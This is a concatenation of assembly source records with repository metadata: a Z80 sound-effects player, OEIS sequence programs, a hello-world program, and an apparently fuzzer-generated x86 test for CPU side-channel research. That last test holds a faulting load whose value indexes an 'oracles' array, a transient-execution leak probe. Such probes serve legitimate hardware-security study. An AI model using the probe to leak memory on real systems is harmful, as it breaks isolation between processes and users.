PLY_AKG_DisarkByteRegionEnd_{disarkCounter}:
disarkCounter = disarkCounter + 1
ENDM
ENDIF
;Disark macro: Force "No Reference Area" for 3 bytes (ld hl,xxxx).
IFNDEF dknr3
MACRO dknr3
PLY_AKG_DisarkForceNonReferenceDuring3_{disarkCounter}:
disarkCounter = disarkCounter + 1
ENDM
ENDIF
;Initializes the sound effects. It MUST be called at any times before a first sound effect is triggered.
;It doesn't matter whether the song is playing or not, or if it has been initialized or not.
;IN: HL = Address to the sound effects data.
PLY_AKG_InitSoundEffectsDisarkGenerateExternalLabel
PLY_AKG_InitSoundEffects:
ld (PLY_AKG_PtSoundEffectTable + PLY_AKG_Offset1b),hl
ret
;Plays a sound effect. If a previous one was already playing on the same channel, it is replaced.
;This does not actually plays the sound effect, but programs its playing.
;The music player, when called, will call the PLY_AKG_PlaySoundEffectsStream method below.
;IN: A = Sound effect number (>0!).
; C = The channel where to play the sound effect (0, 1, 2).
; B = Inverted volume (0 = full volume, 16 = no sound). Hardware sounds are also lowered.
PLY_AKG_PlaySoundEffectDisarkGenerateExternalLabel
PLY_AKG_PlaySoundEffect:
;Gets the address to the sound effect.
dec a ;The 0th is not encoded.
IFNDEF PLY_AKG_Rom
dknr3 (void):
PLY_AKG_PtSoundEffectTable: ld hl,0
ELSE
ld hl,(PLY_AKG_PtSoundEffectTable)
ENDIF
ld e,a
ld d,0
add hl,de
add hl,de
ld e,(hl)
inc hl
ld d,(hl)
;Reads the header of the sound effect to get the speed.
ld a,(de)
inc de
ex af,af'
ld a,b
;Finds the pointer to the sound effect of the desired channel.
ld hl,PLY_AKG_Channel1_SoundEffectData
ld b,0
sla c
sla c
sla c
add hl,bc
ld (hl),e
inc hl
ld (hl),d
inc hl
;Now stores the inverted volume.
ld (hl),a
inc hl
;Resets the current speed, stores the instrument speed.
ld (hl),0
inc hl
ex af,af'
ld (hl),a
ret
;Stops a sound effect. Nothing happens if there was no sound effect.
;IN: A = The channel where to stop the sound effect (0, 1, 2).
PLY_AKG_StopSoundEffectFromChannelDisarkGenerateExternalLabel
PLY_AKG_StopSoundEffectFromChannel:
;Puts 0 to the pointer of the sound effect.
add a,a
add a,a
add a,a
ld e,a
ld d,0
ld hl,PLY_AKG_Channel1_SoundEffectData
add hl,de
ld (hl),d ;0 means "no sound".
inc hl
ld (hl),d
ret
;Plays the sound effects, if any has been triggered by the user.
;This does not actually send registers to the PSG, it only overwrite the required values of the registers of the player.
;The sound effects initialization method must have been called before!
;As R7 is required, this must be called after the music has been played, but BEFORE the registers are sent to the PSG.
;IN: A = R7.
;OUT: A = new R7.
PLY_AKG_PlaySoundEffectsStream:
;Shifts the R7 to the left twice, so that bit 2 and 5 only can be set for each track, below.
rla
rla
;Plays the sound effects on every channel.
ld ix,PLY_AKG_Channel1_SoundEffectData
ld iy,PLY_AKG_PSGReg8
ld hl,PLY_AKG_PSGReg01_Instr + PLY_AKG_Offset1b
exx
ld c,a
;Channel 1.
;----------
call PLY_AKG_PSES_Play
ld ix,PLY_AKG_Channel2_SoundEffectData
ld iy,PLY_AKG_PSGReg9
exx
ld hl,PLY_AKG_PSGReg23_Instr + PLY_AKG_Offset1b
exx
;Channel 2.
;----------
IFDEF PLY_AKG_HARDWARE_CPC
srl c ;Not RR, to make sure bit 6 is 0 (else, no more keyboard on CPC!).
ELSE
IFDEF PLY_AKG_HARDWARE_MSX
srl c ;R7 bit 6 on MSX must be 0.
ELSE
rr c ;On other platforms, we don't care.
ENDIF
ENDIF
call PLY_AKG_PSES_Play
ld ix,PLY_AKG_Channel3_SoundEffectData
ld iy,PLY_AKG_PSGReg10
exx
ld hl,PLY_AKG_PSGReg45_Instr + PLY_AKG_Offset1b
exx
;Channel 3.
;----------
IFDEF PLY_AKG_HARDWARE_MSX
scf ;R7 bit 7 on MSX must be 1.
ENDIF
rr c
call PLY_AKG_PSES_Play
ld a,c
ret
;Plays the sound stream from the given pointer to the sound effect. If 0, no sound is played.
;The given R7 is given shift twice to the left, so that this code MUST set/reset the bit 2 (sound), and set/reset bit 5 (noise).
;This code MUST overwrite these bits because sound effects have priority over the music.
;IN: IX = Points on the sound effect pointer. If the sound effect pointer is 0, nothing must be played.
; IY = Points on the address where to store the volume for this channel.
; HL'= Points on the address where to store the software period for this channel.
; C = R7, shifted twice to the left.
;OUT: The pointed pointer by IX may be modified as the sound advances.
; C = R7, MUST be modified if there is a sound effect.
PLY_AKG_PSES_Play:
;Reads the pointer pointed by IX.
ld l,(ix + 0)
ld h,(ix + 1)
ld a,l
or h
ret z ;No sound to be played? Returns immediately.
;Reads the first byte. What type of sound is it?
PLY_AKG_PSES_ReadFirstByte:
ld a,(hl)
inc hl
ld b,a
rra
jr c,PLY_AKG_PSES_SoftwareOrSoftwareAndHardware
rra
IFDEF PLY_CFG_SFX_HardOnly ;CONFIG SPECIFIC
jr c,PLY_AKG_PSES_HardwareOnly
ENDIF ;PLY_CFG_SFX_HardOnly
;No software, no hardware, or end/loop.
;-------------------------------------------
;End or loop?
rra
IFDEF PLY_CFG_SFX_NoSoftNoHard ;CONFIG SPECIFIC. If not present, the jump is not needed, the method is just below.
jr c,PLY_AKG_PSES_S_EndOrLoop
;No software, no hardware.
;-------------------------------------------
;Gets the volume.
call PLY_AKG_PSES_ManageVolumeFromA_Filter4Bits
;Noise?
IFDEF PLY_CFG_SFX_NoSoftNoHard_Noise ;CONFIG SPECIFIC
rl b
call PLY_AKG_PSES_ReadNoiseIfNeededAndOpenOrCloseNoiseChannel
ELSE
set 5,c ;No noise in compilation, so stops the noise.
ENDIF ;PLY_CFG_SFX_NoSoftNoHard_Noise
;Cuts the sound.
set 2,c
jr PLY_AKG_PSES_SavePointerAndExit
ENDIF ;PLY_CFG_SFX_NoSoftNoHard
;**Warning!** Do not put any instruction between EndOrLoop and NoSoftNoHard.
PLY_AKG_PSES_S_EndOrLoop:
IFDEF PLY_CFG_SFX_LoopTo ;CONFIG SPECIFIC. If no "loop to", the sounds always end, no need to test.
;Is it an end?
rra
jr c,PLY_AKG_PSES_S_Loop
ENDIF ;PLY_CFG_SFX_LoopTo
;End of the sound. Marks the sound pointer with 0, meaning "no sound".
xor a
ld (ix + 0),a
ld (ix + 1),a
ret
IFDEF PLY_CFG_SFX_LoopTo ;CONFIG SPECIFIC.
PLY_AKG_PSES_S_Loop:
;Loops. Reads the pointer and directly uses it.
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
jr PLY_AKG_PSES_ReadFirstByte
ENDIF ;PLY_CFG_SFX_LoopTo
;Saves HL into IX, and exits. This must be called at the end of each Cell.
;If the speed has not been reached, it is not saved.
PLY_AKG_PSES_SavePointerAndExit:
;Speed reached?
ld a,(ix + PLY_AKG_SoundEffectData_OffsetCurrentStep)
cp (ix + PLY_AKG_SoundEffectData_OffsetSpeed)
jr c,PLY_AKG_PSES_NotReached
;The speed has been reached, so resets it and saves the pointer to the next cell to read.
ld (ix + PLY_AKG_SoundEffectData_OffsetCurrentStep),0
ld (ix + 0),l
ld (ix + 1),h
ret
PLY_AKG_PSES_NotReached:
;Speed not reached. Increases it, that's all. The same cell will be read next time.
inc (ix + PLY_AKG_SoundEffectData_OffsetCurrentStep)
ret
IFDEF PLY_CFG_SFX_HardOnly ;CONFIG SPECIFIC
;Hardware only.
;-------------------------------------------
PLY_AKG_PSES_HardwareOnly:
;Calls the shared code that manages everything.
call PLY_AKG_PSES_Shared_ReadRetrigHardwareEnvPeriodNoise
;Cuts the sound.
set 2,c
jr PLY_AKG_PSES_SavePointerAndExit
ENDIF ;PLY_CFG_SFX_HardOnly
PLY_AKG_PSES_SoftwareOrSoftwareAndHardware:
;Software only?
rra
IFDEF PLY_CFG_SFX_SoftAndHard ;CONFIG SPECIFIC
jr c,PLY_AKG_PSES_SoftwareAndHardware
ENDIF ;PLY_CFG_SFX_SoftAndHard
;Software.
;-------------------------------------------
IFDEF PLY_CFG_SFX_SoftOnly ;CONFIG SPECIFIC
;Volume.
call PLY_AKG_PSES_ManageVolumeFromA_Filter4Bits
;Noise?
IFDEF PLY_CFG_SFX_SoftOnly_Noise ;CONFIG SPECIFIC
rl b
call PLY_AKG_PSES_ReadNoiseIfNeededAndOpenOrCloseNoiseChannel
ELSE
set 5,c ;No noise in compilation, so stops the noise.
ENDIF ;PLY_CFG_SFX_SoftOnly_Noise
;Opens the "sound" channel.
res 2,c
;Reads the software period.
call PLY_AKG_PSES_ReadSoftwarePeriod
jr PLY_AKG_PSES_SavePointerAndExit
ENDIF ;PLY_CFG_SFX_SoftOnly
;Software and Hardware.
;-------------------------------------------
IFDEF PLY_AKG_SE_HardwareSounds ;CONFIG SPECIFIC
PLY_AKG_PSES_SoftwareAndHardware:
;Calls the shared code that manages everything.
call PLY_AKG_PSES_Shared_ReadRetrigHardwareEnvPeriodNoise
;Reads the software period.
call PLY_AKG_PSES_ReadSoftwarePeriod
;Opens the sound.
res 2,c
jr PLY_AKG_PSES_SavePointerAndExit
ENDIF ;PLY_AKG_SE_HardwareSounds
IFDEF PLY_CFG_UseHardwareSounds ;CONFIG SPECIFIC
;Shared code used by the "hardware only" and "software and hardware" part.
;Reads the Retrig flag, the Hardware Envelope, the possible noise, the hardware period,
;and sets the volume to 16. The R7 sound channel is NOT modified.
PLY_AKG_PSES_Shared_ReadRetrigHardwareEnvPeriodNoise:
;Retrig?
rra
IFDEF PLY_AKG_SE_Retrig ;CONFIG SPECIFIC
jr nc,PLY_AKG_PSES_H_AfterRetrig
ld d,a
ld a,255
ld (PLY_AKG_PSGReg13_OldValue + PLY_AKG_Offset1b),a
ld a,d
PLY_AKG_PSES_H_AfterRetrig:
ENDIF ;PLY_AKG_SE_Retrig
;The hardware envelope can be set (8-15).
and %111
add a,8
ld (PLY_AKG_PSGReg13_Instr + PLY_AKG_Offset1b),a
IFDEF PLY_AKG_SE_HardwareNoise ;CONFIG SPECIFIC. B not needed after, we can put it in the condition too.
;Noise?
rl b
call PLY_AKG_PSES_ReadNoiseIfNeededAndOpenOrCloseNoiseChannel
ELSE
set 5,c ;No noise in compilation, so stops the noise.
ENDIF ;PLY_AKG_SE_HardwareNoise
;Reads the hardware period.
call PLY_AKG_PSES_ReadHardwarePeriod
;Sets the volume to "hardware". It still may be decreased.
ld a,16
jp PLY_AKG_PSES_ManageVolumeFromA_Hard
ENDIF ;PLY_CFG_UseHardwareSounds
IFDEF PLY_AKG_SE_Noise
;If asked to, reads the noise pointed by HL, increases HL, and opens the noise channel. If no noise, closes the noise channel.
;IN: Carry = true if noise to read. False if no noise, so the noise channel must be closed.
; HL = the data.
PLY_AKG_PSES_ReadNoiseIfNeededAndOpenOrCloseNoiseChannel:
jr c,PLY_AKG_PSES_ReadNoiseAndOpenNoiseChannel_OpenNoise
;No noise, so closes the noise channel.
set 5,c
ret
PLY_AKG_PSES_ReadNoiseAndOpenNoiseChannel_OpenNoise:
;Reads the noise.
ld a,(hl)
ld (PLY_AKG_PSGReg6),a
inc hl
;Opens noise channel.
res 5,c
ret
ENDIF ;PLY_AKG_SE_Noise
IFDEF PLY_CFG_UseHardwareSounds ;CONFIG SPECIFIC
;Reads the hardware period from HL and sets the R11/R12 registers. HL is incremented of 2.
PLY_AKG_PSES_ReadHardwarePeriod:
ld a,(hl)
ld (PLY_AKG_PSGHardwarePeriod_Instr + PLY_AKG_Offset1b),a
inc hl
ld a,(hl)
ld (PLY_AKG_PSGHardwarePeriod_Instr + PLY_AKG_Offset1b + 1),a
inc hl
ret
ENDIF ;PLY_CFG_UseHardwareSounds
;Reads the software period from HL and sets the period registers in HL'. HL is incremented of 2.
PLY_AKG_PSES_ReadSoftwarePeriod:
ld a,(hl)
inc hl
exx
ld (hl),a
inc hl
exx
ld a,(hl)
inc hl
exx
ld (hl),a
exx
ret
IFDEF PLY_AKG_SE_VolumeSoft ;CONFIG SPECIFIC
;Reads the volume in A, decreases it from the inverted volume of the channel, and sets the volume via IY.
;IN: A = volume, from 0 to 15 (no hardware envelope).
PLY_AKG_PSES_ManageVolumeFromA_Filter4Bits:
and %1111
ENDIF ;PLY_AKG_SE_VolumeSoft
IFDEF PLY_AKG_SE_VolumeSoftOrHard ;CONFIG SPECIFIC
;After the filtering. Useful for hardware sound (volume has been forced to 16).
PLY_AKG_PSES_ManageVolumeFromA_Hard:
;Decreases the volume, checks the limit.
sub (ix + PLY_AKG_SoundEffectData_OffsetInvertedVolume)
jr nc,PLY_AKG_PSES_MVFA_NoOverflow
xor a
PLY_AKG_PSES_MVFA_NoOverflow:
ld (iy + 0),a
ret
ENDIF ;PLY_AKG_SE_VolumeSoftOrHard
;The data for RAM player. For ROM player, it is declared in the main player.
IFNDEF PLY_AKG_Rom
;The data of the Channels MUST be consecutive.
PLY_AKG_Channel1_SoundEffectData:
dkws (void):
dw 0 ;Points to the sound effect for the track 1, or 0 if not playing.
dkwe (void):
dkbs (void):
PLY_AKG_Channel1_SoundEffectInvertedVolume:
db 0 ;Inverted volume.
PLY_AKG_Channel1_SoundEffectCurrentStep:
db 0 ;Current step (>=0).
PLY_AKG_Channel1_SoundEffectSpeed:
db 0 ;Speed (>=0).
ds 3,0 ;Padding.
dkbe (void):
PLY_AKG_Channel_SoundEffectDataSize: equ $ - PLY_AKG_Channel1_SoundEffectData
dkbs (void):
PLY_AKG_Channel2_SoundEffectData:
ds PLY_AKG_Channel_SoundEffectDataSize, 0
PLY_AKG_Channel3_SoundEffectData:
ds PLY_AKG_Channel_SoundEffectDataSize, 0
dkbe (void):
;Checks that the pointers are consecutive.
assert (PLY_AKG_Channel1_SoundEffectData + PLY_AKG_Channel_SoundEffectDataSize) == PLY_AKG_Channel2_SoundEffectData
assert (PLY_AKG_Channel2_SoundEffectData + PLY_AKG_Channel_SoundEffectDataSize) == PLY_AKG_Channel3_SoundEffectData
ENDIF ;PLY_AKG_Rom
;Offset from the beginning of the data, to reach the inverted volume.
PLY_AKG_SoundEffectData_OffsetInvertedVolume: equ PLY_AKG_Channel1_SoundEffectInvertedVolume - PLY_AKG_Channel1_SoundEffectData
PLY_AKG_SoundEffectData_OffsetCurrentStep: equ PLY_AKG_Channel1_SoundEffectCurrentStep - PLY_AKG_Channel1_SoundEffectData
PLY_AKG_SoundEffectData_OffsetSpeed: equ PLY_AKG_Channel1_SoundEffectSpeed - PLY_AKG_Channel1_SoundEffectData
| 36.857651 | 146 | 0.595684 |
52e5a59c3e698d6a559fd11e8c489212d013887b | 711 | asm | Assembly | oeis/083/A083539.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/083/A083539.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/083/A083539.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A083539: a(n) = sigma(n) * sigma(n+1): product of sigma-values for consecutive integers.
; 3,12,28,42,72,96,120,195,234,216,336,392,336,576,744,558,702,780,840,1344,1152,864,1440,1860,1302,1680,2240,1680,2160,2304,2016,3024,2592,2592,4368,3458,2280,3360,5040,3780,4032,4224,3696,6552,5616,3456,5952,7068,5301,6696,7056,5292,6480,8640,8640,9600,7200,5400,10080,10416,5952,9984,13208,10668,12096,9792,8568,12096,13824,10368,14040,14430,8436,14136,17360,13440,16128,13440,14880,22506,15246,10584,18816,24192,14256,15840,21600,16200,21060,26208,18816,21504,18432,17280,30240,24696,16758,26676
seq $0,28387 ; a(n) = n + (n+1)^2.
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
| 118.5 | 499 | 0.751055 |
08b661a961c08b6e22bf7bee4cfd882a7b31b0f6 | 407 | asm | Assembly | Examples/hello_world.asm | RainingComputers/SRP16 | cbc8f421422bf59840c69048940dd3fcf7192c72 | [
"MIT"
] | null | null | null | Examples/hello_world.asm | RainingComputers/SRP16 | cbc8f421422bf59840c69048940dd3fcf7192c72 | [
"MIT"
] | null | null | null | Examples/hello_world.asm | RainingComputers/SRP16 | cbc8f421422bf59840c69048940dd3fcf7192c72 | [
"MIT"
] | null | null | null | sjmp prog
data:
.string "Hello world" ;Hello world string
.byte 0x00 ;Null character
.equ "str_len", 11 ;Length of string
prog:
ldmptr data ;Load location of string
lda 0x00 ;Loop counter
loop:
ldb@mptr r0, 0x01 ;Load r0 with character and offset
addi 1
cei str_len
notf
sjmpf loop ;Loop till a==str_len
hlt:
sjmp hlt ;stop | 25.4375 | 57 | 0.604423 |
5bc8543baef2be71c9073db99b8ed97c6e6ecd45 | 4,733 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1_1260.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1_1260.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1_1260.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x412b, %r15
nop
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %r14
movq %r14, (%r15)
nop
nop
nop
add $47935, %r8
lea addresses_normal_ht+0x153e4, %rsi
lea addresses_WT_ht+0x727, %rdi
nop
nop
nop
cmp %rbp, %rbp
mov $80, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_A_ht+0x8857, %r15
nop
nop
dec %rdi
mov (%r15), %r11w
nop
nop
nop
nop
dec %rbp
lea addresses_WT_ht+0x1ce17, %rsi
lea addresses_UC_ht+0x1427, %rdi
clflush (%rdi)
nop
add $41785, %r8
mov $23, %rcx
rep movsl
sub $27866, %r14
lea addresses_normal_ht+0x11008, %rsi
lea addresses_D_ht+0x1b5a, %rdi
nop
nop
nop
sub $20527, %r8
mov $74, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_D_ht+0x9627, %rbp
nop
nop
nop
nop
nop
cmp $63361, %rsi
movb $0x61, (%rbp)
nop
nop
nop
nop
sub $49555, %r15
lea addresses_D_ht+0x1efa7, %rsi
lea addresses_UC_ht+0x19a27, %rdi
nop
nop
nop
nop
add $9625, %r15
mov $98, %rcx
rep movsw
nop
nop
nop
xor $60328, %r11
lea addresses_A_ht+0x17daf, %rsi
nop
nop
nop
nop
nop
cmp $37316, %r14
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
xor $49862, %r11
lea addresses_A_ht+0x1003f, %r15
add %rsi, %rsi
movb $0x61, (%r15)
nop
nop
add $7232, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r15
push %rbp
push %rdi
// Store
lea addresses_D+0x8a17, %r14
nop
nop
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm2
vmovups %ymm2, (%r14)
nop
nop
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_UC+0x1f1ff, %rdi
nop
nop
inc %rbp
movb $0x51, (%rdi)
// Exception!!!
nop
nop
mov (0), %rdi
nop
sub $8346, %r13
// Store
lea addresses_A+0x1dda3, %rdi
nop
inc %r15
mov $0x5152535455565758, %rbp
movq %rbp, (%rdi)
nop
nop
nop
sub $49741, %r11
// Load
lea addresses_D+0x166d4, %rbp
clflush (%rbp)
nop
nop
inc %r11
mov (%rbp), %r13
nop
dec %r14
// Store
lea addresses_WT+0x2557, %r14
nop
nop
nop
nop
xor $50496, %r13
movb $0x51, (%r14)
cmp %rdi, %rdi
// Store
lea addresses_A+0x1de27, %rbp
nop
add %r14, %r14
movl $0x51525354, (%rbp)
nop
dec %r11
// Faulty Load
lea addresses_A+0x1de27, %r15
cmp %r13, %r13
mov (%r15), %r14w
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rdi
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'54': 1}
54
*/
| 19.084677 | 152 | 0.645045 |
a5e79e612f1ff20bf260674959c207d8a15c8b83 | 470 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_switch_arg.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 1 | 2022-03-08T11:55:58.000Z | 2022-03-08T11:55:58.000Z | libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_switch_arg.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_switch_arg.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null |
SECTION code_clib
SECTION code_fp_am9511
PUBLIC asm_switch_arg
.asm_switch_arg
; Switch arguments
;
; Entry:
; Stack: left, right, ret1, ret0
;
; Exit:
; Stack: right, left, ret1
;
; Uses a, bc, de, hl
ld hl,8 ; left
add hl,sp
ex de,hl
ld hl,4 ; right
add hl,sp
ld b,4
.loop
ld c,(hl)
ld a,(de)
ex de,hl
ld (hl),c
ld (de),a
inc hl
inc de
djnz loop
ret
| 13.055556 | 36 | 0.510638 |
17dd053c0c20b295c55a36e80c936e83c7a77376 | 1,600 | asm | Assembly | target/cos_117/disasm/iop_overlay1/COMM15.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 49 | 2020-10-09T12:29:16.000Z | 2022-03-12T02:33:35.000Z | target/cos_117/disasm/iop_overlay1/COMM15.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 1 | 2021-12-29T15:59:25.000Z | 2021-12-29T15:59:25.000Z | target/cos_117/disasm/iop_overlay1/COMM15.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 6 | 2021-04-12T06:10:32.000Z | 2022-02-08T23:11:19.000Z | 0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0001 (0x000002) 0x2925- f:00024 d: 293 | OR[293] = A
0x0002 (0x000004) 0x2102- f:00020 d: 258 | A = OR[258]
0x0003 (0x000006) 0x1421- f:00012 d: 33 | A = A + 33 (0x0021)
0x0004 (0x000008) 0x2922- f:00024 d: 290 | OR[290] = A
0x0005 (0x00000A) 0x2102- f:00020 d: 258 | A = OR[258]
0x0006 (0x00000C) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0007 (0x00000E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0008 (0x000010) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0009 (0x000012) 0x291E- f:00024 d: 286 | OR[286] = A
0x000A (0x000014) 0x2102- f:00020 d: 258 | A = OR[258]
0x000B (0x000016) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x000C (0x000018) 0x2908- f:00024 d: 264 | OR[264] = A
0x000D (0x00001A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x000E (0x00001C) 0x291F- f:00024 d: 287 | OR[287] = A
0x000F (0x00001E) 0x0000- f:00000 d: 0 | PASS
0x0010 (0x000020) 0x0000- f:00000 d: 0 | PASS
0x0011 (0x000022) 0x0000- f:00000 d: 0 | PASS
0x0012 (0x000024) 0x0000- f:00000 d: 0 | PASS
0x0013 (0x000026) 0x0000- f:00000 d: 0 | PASS
| 76.190476 | 79 | 0.440625 |
301a026d76ac6a153d715d3177fd2a8d8e297f90 | 111 | asm | Assembly | examples/cpuid_0.asm | dd86k/ddcput | 01f206a6c824f72b94f39c051790ecdaabcf2be4 | [
"MIT"
] | 1 | 2018-09-15T23:29:35.000Z | 2018-09-15T23:29:35.000Z | examples/cpuid_0.asm | dd86k/ddcputester | 01f206a6c824f72b94f39c051790ecdaabcf2be4 | [
"MIT"
] | 1 | 2019-11-22T16:34:37.000Z | 2019-11-22T16:34:37.000Z | examples/cpuid_0.asm | dd86k/ddcputester | 01f206a6c824f72b94f39c051790ecdaabcf2be4 | [
"MIT"
] | null | null | null | ; Compile with: NASM -fbin cpuid_0.asm
BITS 64 ; Avoids nasm putting the OPCODE prefix (66h)
mov eax, 0
cpuid | 18.5 | 53 | 0.738739 |
68b0b6ca7066c171beb889ba1e3f08da55b87357 | 603 | asm | Assembly | oeis/255/A255465.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/255/A255465.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/255/A255465.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A255465: a(n) = A255464(2^n-1).
; Submitted by Jon Maiga
; 1,6,22,90,358,1434,5734,22938,91750,367002,1468006,5872026,23488102,93952410,375809638,1503238554,6012954214,24051816858,96207267430,384829069722,1539316278886,6157265115546,24629060462182,98516241848730,394064967394918,1576259869579674,6305039478318694,25220157913274778,100880631653099110,403522526612396442,1614090106449585766,6456360425798343066,25825441703193372262,103301766812773489050,413207067251093956198,1652828269004375824794,6611313076017503299174,26445252304070013196698
mov $1,4
pow $1,$0
mul $1,7
add $1,2
div $1,5
mov $0,$1
| 54.818182 | 486 | 0.854063 |
18203dba7b5abab9ec901be248891d7f5cda7410 | 11,766 | asm | Assembly | texmap/john.asm | osgcc/descent-pc | 819ed672e9fde6eddea634154306c5154230b84d | [
"Unlicense"
] | 3 | 2016-03-22T12:32:01.000Z | 2017-11-07T12:14:28.000Z | texmap/john.asm | osgcc/descent-pc | 819ed672e9fde6eddea634154306c5154230b84d | [
"Unlicense"
] | null | null | null | texmap/john.asm | osgcc/descent-pc | 819ed672e9fde6eddea634154306c5154230b84d | [
"Unlicense"
